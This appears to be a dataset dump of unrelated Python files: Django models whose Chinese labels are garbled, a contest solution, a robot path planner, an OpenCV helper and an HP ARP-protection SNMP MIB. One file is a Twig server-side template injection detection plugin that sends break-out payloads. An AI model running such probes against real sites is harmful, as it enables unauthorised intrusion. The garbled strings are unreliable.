16,956 | 5981ae861e0199551689c66ccb9f8955e7676a1b | from datetime import datetime
from django.db import models
from users.models import UserProfile
from music.models import Music, Video
# Create your models here.
class MusicComment(models.Model):
"""
้ณไน่ฏ่ฎบ
"""
music = models.ForeignKey(
Music,
on_delete=models.CASCADE,
verbose_name="่ฏ่ฎบๆๅฑ็้ณไน")
user = models.ForeignKey(UserProfile, max_length=32, verbose_name="่ฏ่ฎบ่
")
content = models.TextField(default='', verbose_name="่ฏ่ฎบ่ฏฆๆ
")
add_time = models.DateTimeField(auto_now_add=True, verbose_name="ๆทปๅ ๆถ้ด")
class Meta:
verbose_name = "้ณไน่ฏ่ฎบ"
verbose_name_plural = verbose_name
def __str__(self):
return '็จๆท({0})ๅฏนไบใ{1}ใ ่ฏ่ฎบ :'.format(self.user, self.music)
class VideoComment(models.Model):
"""
่ง้ข่ฏ่ฎบ
"""
video = models.ForeignKey(
Video,
on_delete=models.CASCADE,
verbose_name="่ฏ่ฎบๆๅฑ็่ง้ข")
user = models.ForeignKey(UserProfile, max_length=32, verbose_name="่ฏ่ฎบ่
")
content = models.TextField(default='', verbose_name="่ฏ่ฎบ่ฏฆๆ
")
add_time = models.DateTimeField(auto_now_add=True, verbose_name="ๆทปๅ ๆถ้ด")
class Meta:
verbose_name = "่ง้ข่ฏ่ฎบ"
verbose_name_plural = verbose_name
def __str__(self):
return '็จๆท({0})ๅฏนไบใ{1}ใ ่ฏ่ฎบ :'.format(self.user, self.video)
class FavoriteMusic(models.Model):
"""
็จๆทๆถ่้ณไน
"""
user = models.ForeignKey(
UserProfile,
on_delete=models.CASCADE,
verbose_name='็จๆท')
music = models.ForeignKey(
Music,
on_delete=models.CASCADE,
verbose_name='้ณไน')
add_time = models.DateTimeField(default=datetime.now, verbose_name="ๆถ่ๆถ้ด")
class Meta:
verbose_name = "้ณไนๆถ่"
verbose_name_plural = verbose_name
def __str__(self):
return '็จๆท({0})ๆถ่ไบ{1} '.format(self.user, self.music)
class FavoriteVideo(models.Model):
"""
็จๆทๆถ่่ง้ข
"""
user = models.ForeignKey(
UserProfile,
on_delete=models.CASCADE,
verbose_name='็จๆท')
video = models.ForeignKey(
Video,
on_delete=models.CASCADE,
verbose_name='่ง้ข')
add_time = models.DateTimeField(default=datetime.now, verbose_name="ๆถ่ๆถ้ด")
class Meta:
verbose_name = "่ง้ขๆถ่"
verbose_name_plural = verbose_name
def __str__(self):
return '็จๆท({0})ๆถ่ไบ{1} '.format(self.user, self.video)
class UserMessage(models.Model):
"""
็จๆทๆถๆฏ้็ฅ
"""
user = models.IntegerField(default=0, verbose_name='ๆฅๅ็จๆท')
message = models.CharField(max_length=200, verbose_name='ๆถๆฏๅ
ๅฎน')
has_read = models.BooleanField(default=False, verbose_name='ๆฏๅฆๅทฒ่ฏป')
add_time = models.DateTimeField(default=datetime.now, verbose_name="ๆทปๅ ๆถ้ด")
class Meta:
verbose_name = '็จๆทๆถๆฏ'
verbose_name_plural = verbose_name
def __str__(self):
return '็จๆท({0})ๆฅๅไบ{1}'.format(self.user, self.message)
class UserMusic(models.Model):
"""
็จๆทๆถๅฌ็้ณไน
"""
music = models.ForeignKey(
Music,
on_delete=models.CASCADE,
verbose_name="้ณไน")
user = models.ForeignKey(
UserProfile,
on_delete=models.CASCADE,
verbose_name="็จๆท")
add_time = models.DateTimeField(default=datetime.now, verbose_name="ๆถๅฌๆถ้ด")
class Meta:
verbose_name = '็จๆทๆถๅฌ้ณไน'
verbose_name_plural = verbose_name
def __str__(self):
return '็จๆท({0})ๆถๅฌไบ{1} '.format(self.user, self.music)
|
16,957 | 3bbefb390825720e9bd5aa1dacc848b001338dad | # CCC 2014 Junior 4: Party Invitation
#
# relatively straight forward 1D array processing
# (element removal and modulo arithmetic)
#
file = open ("j4.5.in", "r")
k = int(file.readline())
#create friends array [1...k]
friends = []
for i in range (k):
friends.append(i+1)
m = int(file.readline())
for round in range(m):
r = int(file.readline())
# eliminate every rth friend
newfriends = []
for i in range(len(friends)):
if (i+1) % r != 0:
newfriends.append (friends[i])
# copy the new friends back into the old one
friends = []
for f in newfriends:
friends.append(f)
for f in friends:
print f
|
16,958 | 9b78691bfd9676fb6d320111afb7603530e830f0 | nome = input("Informe seu nome: ")
valor = float(input("Informe um valor: "))
#Mรฉtodo 1
saida = "{};{}".format(nome.upper(), valor)
print("Saรญda formatada:", saida)
|
16,959 | e33756da1245568a6f9aa6e47ffbd0780f2607f3 | from core.check import Check
from utils.loggers import log
from utils import rand
import string
import requests
import urlparse
import os
class Twig(Check):
render_tag = '{{%(payload)s}}'
header_tag = '{{%(header)s}}'
trailer_tag = '{{%(trailer)s}}'
contexts = [
{ 'level': 1, 'prefix': '""}}', 'suffix' : '{{""' },
]
def detect_engine(self):
randA = rand.randint_n(1)
payload = '{{7*\'%s\'}}' % (randA)
expected = str(randA*7)
if expected == self.inject(payload):
self.set('language', 'python')
self.set('engine', 'twig')
|
16,960 | 5d2644ad626cfcbb5ae93467e0da49f61835ee65 | from .models import List, Friends, FriendRequest
def user_lists(request):
try:
user_lists = List.objects.filter(user=request.user)
return {'user_lists': user_lists}
except TypeError:
return {'user_lists': ()}
def shared_lists(request):
try:
shared_lists = List.objects.filter(shared_with=request.user)
return {'shared_lists': shared_lists}
except TypeError:
return {'shared_lists': ()}
def current_friends(request):
try:
friend_list = Friends.objects.get(user=request.user)
friends = friend_list.friends.all()
if str(friends) == '<QuerySet [None]>':
return {'friends': {}}
else:
return {'friends': friends}
except:
return {'friends': ()}
def outgoing_friend_requests(request):
try:
outgoing_requests = FriendRequest.objects.filter(sender=request.user, is_active=True)
return {'outgoing_friend_requests': outgoing_requests}
except TypeError:
return {'outgoing_friend_requests': ()}
def incoming_friend_requests(request):
try:
incoming_requests = FriendRequest.objects.filter(receiver=request.user, is_active=True)
return {'incoming_friend_requests': incoming_requests}
except TypeError:
return {'incoming_friend_requests': ()}
|
16,961 | 9a5d2df267aa8c673ab68c6f87695c3c35804c56 | """Utilities for opencv library"""
from __future__ import print_function
from __future__ import absolute_import
import cv2
class single_threaded_opencv(object): # pylint: disable=invalid-name
'''
Context manager that disables IPP for deterministic results and sets number of threads to 0 to avoid
hanging in multiprocessing forks
'''
def __init__(self):
self._number_of_threads = None
def __enter__(self):
cv2.ipp.setUseIPP(flag=False)
self._number_of_threads = cv2.getNumThreads()
cv2.setNumThreads(0)
return self
def __exit__(self, exc_type, exc_val, exc_tb):
cv2.setNumThreads(self._number_of_threads)
|
16,962 | b4413709cff39be5a94c1c1209fed402363826e2 | #!/usr/bin/python
# Author: Sakshi Shrivastava
# Email: sshriva3@uncc.edu
## The file demonstrates:
## 1. Adding rooms and walls to the environment (refer to buildWorld.py as well)
## 2. Setting up a robot
## 3. Perform collision checking
## 4. Modify the robot configurations and visualize
## 5. Adding text objects and modifying them
import sys
from klampt import *
from klampt import vis
from klampt.robotsim import setRandomSeed
from klampt.vis.glcommon import GLWidgetPlugin
from klampt import RobotPoser
from klampt.model import ik,coordinates
from klampt.math import so3
import klampt.model.collide as collide
import time
import math
import buildWorld as bW
sys.path.append("./kinematics/")
from sphero6DoF import sphero6DoF
from kobuki import kobuki
from turtlebot import turtlebot
from decimal import Decimal
from kdTree import kdTree
from kdTree import RRTTree
from kdTree import node
from math import sqrt,cos,sin,atan2
import random
from klampt.model import coordinates
from klampt.model import trajectory
from priodict import priorityDictionary
from klampt.vis import gldraw
EPSILON = 0.1
DIM = 3
V1 = [1,-1,0]
V2 = [1,-1,0]
r = 0.1
dt = 0.01
u1 = .5
u2 = math.pi
actions = [[1,1],[1,-1],[1,0],[-1,1],[-1,-1],[-1,0],[0,1],[0,-1],[0,0]]
def RRTAlgorithm(source, goal, nodes):
print source, goal
robot.setConfig(source)
#Step 1: initialise Kd Tree
sourceNode = node(source, [], None, True, source[0], source[1], source[2], source[3], source[4], source[5])
goalNode = node(goal, [], None, True, goal[0], goal[1], goal[2], goal[3], goal[4], goal[5])
RRTree = RRTTree(None, None, 0, source, sourceNode) #actual RRTree
Points = kdTree(None, None, 0, source, sourceNode) #for storing generated points to increase the search complexity
currentNode = sourceNode
iterNumber = 1
path = []
goalFlag = False
while not (iterNumber == nodes):
if check(currentNode.point, goalNode.point):
goalFlag = True
break
#Step 2: Generate random sample
print ('iteration: ' + str(iterNumber))
iterNumber = iterNumber + 1
rand = [(-4) + (random.random() * 8), (-4) + (random.random() * 8), random.random() * 6.28319]
#Step 3: Check for nearest neighbour
ret = Points.search(rand, 10000000, None, None, None, None, None)
nearest_neighbour = ret[1]
#Step 4: Check distance of nearest neighbour with the randomly generated sample. If its EPSILON distance away then add it in the tree else #generate a new point in the direction of the random sample
new_point = next_point(nearest_neighbour, rand)
if new_point != None:
nde = node(new_point, [], ret[2], True, new_point[0], new_point[1], new_point[2], new_point[3], new_point[4], new_point[5])
ret[2].add_child(nde)
Points.insert(new_point, DIM, nde)
currentNode = nde
if goalFlag:
print("Current Node: " + str(currentNode.parent.point))
while currentNode.parent != None:
path.append(currentNode)
currentNode = currentNode.parent
print("shortest path found", path)
return path
else:
return None
def check(point , goal): # checking if currently added node is at goal or not
d = dist(point, goal)
if d < EPSILON:
return True
return False
def dist(p1, p2): #returns euclid's distance between points p1 and p2
return sqrt((p1[0] - p2[0]) * (p1[0] - p2[0]) + (p1[1] - p2[1]) * (p1[1] - p2[1]))
def distance_matrice(p1, p2, dis, dtheta): #returns point with at most epsilon distance from nearest neighbour in the direction of randomly generated point
theta = dtheta
return [p1[0] + dis * cos(theta), p1[1] + dis * sin(theta), theta]
def next_point(initialPos, randomPoint):
nn = initialPos
new_point = []
new_point_dist = []
times = []
collisionFlag = False
distanceFlag = False
for i in range(len(actions)):
s = 0
t = 0
theta = 0
old_distance = dist(nn, randomPoint)
initialPos = nn
while s <= EPSILON and t != 16:
vis.lock()
robot.setConfig(initialPos)
robot.velControlKin(actions[i][0]*u1, actions[i][1]*u2, dt)
vis.unlock()
if not checkCollision():
collisionFlag = False
t = t + 1
n_p = robot.getConfig()
else:
collisionFlag = True
break
if old_distance <= dist(n_p, randomPoint):
distanceFlag = True
break
else:
distanceFlag = False
old_distance = dist(n_p,randomPoint)
initialPos = n_p
if t != 0:
times.append(t)
new_point.append(n_p)
new_point_dist.append(dist(initialPos,randomPoint))
else:
break
if not new_point or not new_point_dist:
return None
else:
minInd = 0
print("new_point_dist", new_point_dist)
minVal = min(new_point_dist)
print("minVal", minVal)
for x in range(len(new_point_dist)):
if minVal == new_point_dist[x]:
minInd = x
np = new_point[minInd]
np.insert(3, times[minInd])
np.insert(4, actions[minInd][0])
np.insert(5, actions[minInd][1])
return np
def checkCollision():
collisionFlag = False
collRT0 = collisionChecker.robotTerrainCollisions(world.robot(0), world.terrain(0))
for i,j in collRT0:
collisionFlag = True
robot.velControlKin(0, 0, dt)
break
for iR in range(world.numRobots()):
collRT2 = collisionChecker.robotObjectCollisions(world.robot(iR))
for i,j in collRT2:
collisionFlag = True
robot.velControlKin(0, 0, dt)
break
if not collisionFlag:
return False
else:
return True
if __name__ == "__main__":
if len(sys.argv)<=1:
print "USAGE: kinematicSim.py [world_file]"
exit()
## Creates a world and loads all the items on the command line
world = WorldModel()
for fn in sys.argv[1:]:
res = world.readFile(fn)
if not res:
raise RuntimeError("Unable to load model "+fn)
coordinates.setWorldModel(world)
## A rooms separated by a wall with a door
bW.getRoom(world, 8, 8, 1)
## Add the world to the visualizer
vis.add("world",world)
vp = vis.getViewport()
vp.w,vp.h = 1200,800
vis.setViewport(vp)
## Create robot object. Change the class to the desired robot.
## Also, make sure the robot class corresponds to the robot in simpleWorld.xml file
#robot = kobuki(world.robot(0), vis)
#robot.setAltitude(0.01)
robot = turtlebot(world.robot(0), "turtle", vis)
robot.setAltitude(0.12)
#robot = sphero6DoF(world.robot(0), "sphero", vis)
## Display the world coordinate system
vis.add("WCS", [so3.identity(),[0,0,0]])
vis.setAttribute("WCS", "size", 24)
#print "Visualization items:"
#vis.listItems(indent=2)
#vis.autoFitCamera()
vis.addText("textCol", "No collision")
vis.setAttribute("textCol","size",24)
collisionFlag = False
collisionChecker = collide.WorldCollider(world)
## On-screen text display
vis.addText("textConfig","Robot configuration: ")
vis.setAttribute("textConfig","size",24)
vis.addText("textbottom","WCS: X-axis Red, Y-axis Green, Z-axis Blue",(20,-30))
print "Starting visualization window#..."
## Run the visualizer, which runs in a separate thread
vis.setWindowTitle("Visualization for kinematic simulation")
print("Starting.....")
source = [0, 0, 0, 0, 0, 0]
goal = [3, -3.5, 0, 0 , 0, 0]
sourceCollisionFlag = False
goalCollisionFlag = False
successFlag = False
vis.lock()
robot.setConfig(source)
vis.unlock()
if checkCollision():
sourceCollisionFlag = True
vis.lock()
robot.setConfig(goal)
vis.unlock()
if checkCollision():
goalCollisionFlag = True
if not sourceCollisionFlag and not goalCollisionFlag:
path = RRTAlgorithm(source, goal, 6000)
if path != None:
print("Completed")
successFlag = True
else:
successFlag = False
print("Path Not Found!")
else:
successFlag = False
print("Source or Goal at collison!")
if successFlag:
waypoints = list(reversed(path))
for i in waypoints:
print(i.printNode())
vis.lock()
vis.add("Initial", [source[0], source[1], 0.02])
vis.setAttribute("Initial", "size", 14)
vis.setColor("Initial",0, 0.4470, 0.7410)
vis.add("Goal", [goal[0], goal[1], 0.02])
vis.setAttribute("Goal", "size", 14)
vis.setColor("Goal", 0.8500, 0.3250, 0.0980)
vis.unlock()
vis.show()
time.sleep(15)
vis.lock()
robot.setConfig(waypoints[0].point)
vis.unlock()
for i in range(len(waypoints)-1):
prWaypnt = waypoints[i+1]
for j in range(prWaypnt.t -1):
vis.lock()
robot.velControlKin(prWaypnt.u1*u1, prWaypnt.u2*u2, dt)
vis.unlock()
time.sleep(dt)
time.sleep(15)
vis.clearText()
print "Ending klampt.vis visualization."
vis.kill()
|
16,963 | 58282d57d9ec5fa4bba8172eb711950a9ebcfcf4 | #!C:\Python34\python
'''
def test_function(a,b) :
return a*b
a = input('input a: ')
b = input('input b: ')
c = test_function(int(a),int(b))
print (a ,"*",b ,"=",c)
'''
### input / output control
## define valuable
### control
## function
## string
a = input ('test :')
print ('this is',a)
|
16,964 | 46d6285e142429c25f298a6bdff965f2d39c7f57 | #
# PySNMP MIB module HP-ICF-ARP-PROTECT (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HP-ICF-ARP-PROTECT
# Produced by pysmi-0.3.4 at Wed May 1 13:33:22 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueSizeConstraint, ConstraintsUnion, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsIntersection")
hpSwitch, = mibBuilder.importSymbols("HP-ICF-OID", "hpSwitch")
ifIndex, = mibBuilder.importSymbols("IF-MIB", "ifIndex")
InetAddressType, InetAddress = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddressType", "InetAddress")
VlanIndex, = mibBuilder.importSymbols("Q-BRIDGE-MIB", "VlanIndex")
ObjectGroup, ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ObjectGroup", "ModuleCompliance", "NotificationGroup")
Integer32, TimeTicks, Bits, Counter64, Gauge32, Unsigned32, NotificationType, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, Counter32, iso, MibIdentifier, ObjectIdentity, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "TimeTicks", "Bits", "Counter64", "Gauge32", "Unsigned32", "NotificationType", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "Counter32", "iso", "MibIdentifier", "ObjectIdentity", "IpAddress")
TextualConvention, DisplayString, TruthValue, MacAddress = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString", "TruthValue", "MacAddress")
hpicfArpProtect = ModuleIdentity((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37))
hpicfArpProtect.setRevisions(('2007-08-29 00:00', '2006-05-03 00:27',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: hpicfArpProtect.setRevisionsDescriptions(('Added hpicfArpProtectNotification and associated objects.', 'Initial revision.',))
if mibBuilder.loadTexts: hpicfArpProtect.setLastUpdated('200708290000Z')
if mibBuilder.loadTexts: hpicfArpProtect.setOrganization('HP Networking')
if mibBuilder.loadTexts: hpicfArpProtect.setContactInfo('Hewlett-Packard Company 8000 Foothills Blvd. Roseville, CA 95747')
if mibBuilder.loadTexts: hpicfArpProtect.setDescription('This MIB module contains HP proprietary objects for managing Dynamic ARP Protection.')
hpicfArpProtectNotifications = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 0))
hpicfArpProtectErrantReply = NotificationType((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 0, 1)).setObjects(("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantCnt"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantSrcMac"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantSrcIpType"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantSrcIp"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantDestMac"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantDestIpType"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantDestIp"))
if mibBuilder.loadTexts: hpicfArpProtectErrantReply.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantReply.setDescription('An hpicfArpProtectErrantReply notification signifies that the ARP protection entity is enabled and has detected an errant ARP reply packet. The source and destination addresses from the packet header are included in the notification.')
hpicfArpProtectObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1))
hpicfArpProtectConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1))
hpicfArpProtectGlobalCfg = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1, 1))
hpicfArpProtectEnable = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1, 1, 1), TruthValue()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpicfArpProtectEnable.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectEnable.setDescription('The administrative status of the ARP Protection feature.')
hpicfArpProtectVlanEnable = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(512, 512)).setFixedLength(512)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpicfArpProtectVlanEnable.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanEnable.setDescription("The administrative status for Dynamic ARP Protection on each VLAN. There will be one bit in this string for each possible VLAN ID. Each octet within this value specifies a set of eight VLANs, with the first octet specifying VLAN IDs 1 through 8, the second octet specifying VLAN IDs 9 through 16, etc. Within each octet, the most significant bit represents the lowest numbered VLAN ID, and the least significant bit represents the highest numbered VLAN ID. Thus, each possible VLAN ID of the bridge is represented by a single bit within the value of this object. If that bit has a value of '1', then Dynamic ARP Protection is enabled on that VLAN; Dynamic ARP Protection is not enabled on the VLAN its bit has a value of '0'.")
hpicfArpProtectValidation = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1, 1, 3), Bits().clone(namedValues=NamedValues(("srcMac", 0), ("dstMac", 1), ("ip", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpicfArpProtectValidation.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectValidation.setDescription('Additional validation checks to perform on ARP packets during Dynamic ARP Protection. srcMac - Drop any ARP request or response packet where the source MAC address in the Ethernet header does not match the sender MAC address in the body of the ARP packet. dstMac - Drop any unicast ARP response packet where the destination MAC address in the Ethernet header does not match the target MAC address in the body of the ARP packet. ip - Drop any ARP packet where the sender IP address is invalid. Drop any ARP response packet where the target IP address is invalid. Invalid addresses include 0.0.0.0, 255.255.255.255, all IP multicast addresses, and all class E IP addresses. These checks are only performed for ARP packets received on untrusted ports in VLANs that are enabled for Dynamic ARP Protection. ARP packets received on trusted ports, and ARP packets in VLANs for which Dynamic ARP Protection is disabled, are forwarded without validation.')
hpicfArpProtectErrantNotifyEnable = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpicfArpProtectErrantNotifyEnable.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantNotifyEnable.setDescription('Provides operational control of hpicfArpProtectErrantReply.')
hpicfArpProtectPortTable = MibTable((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1, 2), )
if mibBuilder.loadTexts: hpicfArpProtectPortTable.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectPortTable.setDescription('Per-interface configuration for Dynamic ARP Protection.')
hpicfArpProtectPortEntry = MibTableRow((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1, 2, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: hpicfArpProtectPortEntry.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectPortEntry.setDescription('Dynamic ARP Protection configuration information for a single port.')
hpicfArpProtectPortTrust = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 1, 2, 1, 1), TruthValue()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpicfArpProtectPortTrust.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectPortTrust.setDescription('This object indicates whether this port is trusted for Dynamic ARP Protection.')
hpicfArpProtectStatus = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2))
hpicfArpProtectVlanStatTable = MibTable((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1), )
if mibBuilder.loadTexts: hpicfArpProtectVlanStatTable.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatTable.setDescription('Per-VLAN statistics for Dynamic ARP Protection.')
hpicfArpProtectVlanStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1, 1), ).setIndexNames((0, "HP-ICF-ARP-PROTECT", "hpicfArpProtectVlanStatIndex"))
if mibBuilder.loadTexts: hpicfArpProtectVlanStatEntry.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatEntry.setDescription('Dynamic ARP Protection statistics for a single VLAN.')
hpicfArpProtectVlanStatIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1, 1, 1), VlanIndex())
if mibBuilder.loadTexts: hpicfArpProtectVlanStatIndex.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatIndex.setDescription('This variable uniquely identifies the VLAN that the counters in this entry apply to. The VLAN identified by this object is the same VLAN as identified by the identical value in the dot1qVlanIndex object.')
hpicfArpProtectVlanStatForwards = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpicfArpProtectVlanStatForwards.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatForwards.setDescription('The number of ARP packets received on untrusted ports in this VLAN that were successfully validated and forwarded. This count does not increment for VLANs for which Dynamic ARP Protection is not enabled.')
hpicfArpProtectVlanStatBadPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadPkts.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadPkts.setDescription('The number of ARP packets received on untrusted ports that were dropped because they were malformed in some way. This may include an unrecognized opcode, an unrecognized protocol type, an unrecognized hardware type, an invalid protocol address length, or an invalid hardware address length. This count does not increment for VLANs for which Dynamic ARP Protection is not enabled.')
hpicfArpProtectVlanStatBadBindings = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadBindings.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadBindings.setDescription('The number of ARP packets received on untrusted ports that were dropped because they advertized a source IP-to-MAC binding that did not match a known, valid binding. This count does not increment for VLANs for which Dynamic ARP Protection is not enabled.')
hpicfArpProtectVlanStatBadSrcMacs = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadSrcMacs.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadSrcMacs.setDescription('The number of ARP packets received on untrusted ports that were dropped because the source MAC address in the Ethernet header did not match the sender MAC address in the body of the ARP packet. This count does not increment when source MAC validation is not enabled. This count does not increment for VLANs for which Dynamic ARP Protection is not enabled.')
hpicfArpProtectVlanStatBadDstMacs = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadDstMacs.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadDstMacs.setDescription('The number of unicast ARP response packets received on untrusted ports that were dropped because the destination MAC address in the Ethernet header did not match the target MAC address in the body of the ARP packet. This count does not increment when destination address validation is not enabled. This count does not increment for VLANs for which Dynamic ARP Protection is not enabled.')
hpicfArpProtectVlanStatBadIpAddrs = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 2, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadIpAddrs.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectVlanStatBadIpAddrs.setDescription('The number of ARP packets received on untrusted ports that were dropped because they contained an invalid sender IP address, or they contained an invalid target IP address in an ARP response. This count does not increment when IP address validation is not enabled. This count does not increment for VLANs for which Dynamic ARP Protection is not enabled.')
hpicfArpProtectErrantCnt = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 3), Counter32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hpicfArpProtectErrantCnt.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantCnt.setDescription('A count of hpicfArpProtectErrantReply sent from the ARP Protection entity to the SNMP entity. This count may differ from the count of notifications transmitted due to rate limiting or configuration.')
hpicfArpProtectErrantSrcMac = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 4), MacAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hpicfArpProtectErrantSrcMac.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantSrcMac.setDescription('Errant source MAC address included in a hpicfArpProtectNotification.')
hpicfArpProtectErrantSrcIpType = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 5), InetAddressType()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hpicfArpProtectErrantSrcIpType.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantSrcIpType.setDescription('IP Address type reported in hpicfArpProtectErrantSrcIp.')
hpicfArpProtectErrantSrcIp = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 6), InetAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hpicfArpProtectErrantSrcIp.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantSrcIp.setDescription('Errant source IP address included in a hpicfArpProtectNotification.')
hpicfArpProtectErrantDestMac = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 7), MacAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hpicfArpProtectErrantDestMac.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantDestMac.setDescription('Errant destination MAC address included in a hpicfArpProtectNotification.')
hpicfArpProtectErrantDestIpType = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 8), InetAddressType()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hpicfArpProtectErrantDestIpType.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantDestIpType.setDescription('IP Address type reported in hpicfArpProtectErrantDestIp.')
